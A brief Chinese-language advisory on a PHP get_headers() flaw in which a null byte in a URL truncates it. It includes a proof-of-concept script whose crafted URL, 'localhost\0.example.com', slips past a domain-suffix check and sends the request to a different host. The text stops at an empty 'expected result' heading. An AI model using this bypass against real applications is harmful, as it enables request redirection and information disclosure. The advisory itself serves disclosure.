PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的get_headers()函数存在安全漏洞
将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则其后的内容将被截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。攻击者可利用该漏洞造成信息泄露。
测试脚本
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";
$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);
预期结果: